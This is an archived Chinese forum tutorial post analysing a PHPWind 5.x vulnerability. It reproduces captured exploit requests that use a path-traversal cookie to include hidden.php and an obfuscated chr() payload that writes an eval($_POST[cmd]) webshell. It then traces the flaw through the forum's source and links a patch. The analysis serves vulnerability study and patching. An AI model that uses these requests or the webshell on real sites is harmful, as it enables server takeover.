廣告廣告
  加入我的最愛 設為首頁 風格修改
首頁 首尾
 手機版   訂閱   地圖  簡體 
您是第 5405 個閱讀者
 
發表文章 發表投票 回覆文章
  可列印版   加為IE收藏   收藏主題   上一主題 | 下一主題   
月光 手機
個人頭像
個人文章 個人相簿 個人日記 個人地圖
社區建設獎
頭銜:看我代替月亮懲罰你!看我代替月亮懲罰你!
版主
級別: 版主 該用戶目前不上站
版區: Unix-like, 網站架設
推文 x42 鮮花 x565
分享: 轉寄此文章 Facebook Plurk Twitter 複製連結到剪貼簿 轉換為繁體 轉換為簡體 載入圖片
推文 x0
[教學] PHPWind 5.x 漏洞分析報告
PHPWind 5.x 漏洞分析報告2007-04-06 21:13聽某人說是pinkeyes發現的?還是不說了.有人早寫了就不費力了
在程序運行時,我抓了一個包:
GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=<?fputs(fopen
(chr(46).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(112).chr(104).chr(112),w),
chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).
chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?> HTTP/1.1
Content-Type: text/html
Cookie:skinco=../../require/hidden;
Host: www.5a609.com:81
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)

GET /phpwind//attachment/set.php HTTP/1.1
Content-Type: text/html
Cookie:skinco=../../require/hidden;
Host: www.5a609.com:81
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)


Chr()裡的那些東西我查了一下ascii字符表,得到的是這樣的:
<?fputs(fopen(./error.php,w)<? eval($_post[cmd]);?>?>
很顯然是在error.php裡寫入一行php木馬:<? eval($_post[cmd]);?> 。
所以關鍵是:
GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=中$D_name和$tidwt的出處。這兩個東西很重要!於是我下了一個phpwind 的程序看看,開始以為是job.php有問題。進入job.php中,只發現如下代碼:

elseif($previewjob=='preview'){
require_once(R_P.'require/bbscode.php');
require_once(R_P.'header.php');
if (empty($skin)) $skin=$db_defaultstyle;
if (file_exists(R_P."data/style/$skin.php")){
include_once("data/style/$skin.php");
}

好,在失望的同時也發現了$skin一定有問題,job.php文件頭有個:require_once("./global.php");
接著我們來看看global.php裡面的$skin參數吧:

if ($db_refreshtime!=0){
if('C:'.$REQUEST_URI==$lastpath && $onbbstime<$db_refreshtime){
!$_COOKIE['winduid'] && $groupid='guest'
$skin=$skinco ? $skinco : $db_defaultstyle;
Showmsg("refresh_limit");
}

哦,只要我們定義了$skinco就可以滿足$skin了!所以再找找$skinco吧,$skinco只有一處解釋,其後,並沒有做任何過濾:

if($skinco && file_exists(R_P."data/style/$skinco.php")){
Cookie('skinco',$skinco);
哈哈,好輕鬆,只要存在就可以?這樣只要構造一個cookie就完全可以實現。咦?$skinco我們好像哪裡見過。果然,就是上面抓的包裡面的:
Cookie:skinco=../../require/hidden;
這樣就更加證明我的思路是正確的,風回路轉呀。又不得不佩服這樣精彩的手法,按照pinkeyes的思路:構造後應該是這樣的:
data/style/../../require/hidden.php
也就是./require/hidden.php。
這樣也就是滿足了job.php中的

if (file_exists(R_P."data/style/$skin.php")){
include_once("data/style/$skin.php");
到這裡,先告一段落,我們回個頭想想。我們分析這麼多就是pinkeyes要為了包含一個文件:./require/hidden.php。這就奇怪了,為什麼這麼pinkeyes要千方百計的來包含 ./require/hidden.php呢?直接利用不可以嗎?這個hidden.php到底是個什麼樣的文件呢?嗯,下面的解釋會讓你有一個滿意的答案。
我小心翼翼的打開hidden.php

<?php
!function_exists('readover') && exit('Forbidden');
$newonline="<>\t$timestamp\t$onlineip\t$fidwt\t$tidwt\t$groupid\t$wherebbsyou\t$acttime\t$uid\t$windid\t";
$newonline=str_pad($newonline,$db_olsize)."\n";
$onlineuser=readover(R_P.$D_name);
if($offset=strpos($onlineuser,"\t".$windid."\t")){
$inselectfile='N'
$offset=strpos($onlineuser,"\n",$offset-$db_olsize);$offset+=1;/*會員名不在開始需要轉換指針*/
writeinline(R_P.$D_name,$newonline,$offset);
}elseif($offset=strpos($onlineuser,str_pad(' ',$db_olsize)."\n")){
writeinline(R_P.$D_name,$newonline,$offset);
}else{
writeover(R_P.$D_name,$newonline,"ab");
}
?>

看到這裡,所有的疑團都解開了!
1.原來文件頭多了個
!function_exists('readover') && exit('Forbidden');
這樣直接訪問是不允許的,後面的代碼也不會執行,這樣我明白pinkeyes的苦心多走彎路來努力用include來包含這個文件
2 這個文件裡有writeline()是可以寫入木馬的。$newonline正好也定義了$tidwt,所以最後的writeline()把$tidwt也寫進去了。
寫入到了d_name 所定義的set.php這個臨時文件裡。本來這樣就可以寫入一個小木馬了,只要使$tidwt為編碼:<? eval($_post[cmd]);?>就可以的。但是可能是pinkeyes考慮到set.php裡的東西比較亂。所以煞費苦心的用
<?fputs(fopen(./error.php,w)<? eval($_post[cmd]);?>?>
寫入一個更簡單的木馬到error.php裡!這樣才多了我們抓的第二個包:
GET /phpwind//attachment/set.php HTTP/1.1

補丁下載: http://www.phpwind.net/rea...92359.html


[ 此文章被月光在2007-04-08 09:49重新編輯 ]



月光論壇
http://bbs.dj...com/


===================================
贊助本站 -- 刊登廣告 -- 物超所值虛擬主機租用
獻花 x1 回到頂端 [樓 主] From:臺灣中華電信HINET | Posted:2007-04-08 09:39 |

首頁  發表文章 發表投票 回覆文章
Powered by PHPWind v1.3.6
Copyright © 2003-04 PHPWind
Processed in 0.012089 second(s),query:15 Gzip disabled
本站由 瀛睿律師事務所 擔任常年法律顧問 | 免責聲明 | 本網站已依台灣網站內容分級規定處理 | 連絡我們 | 訪客留言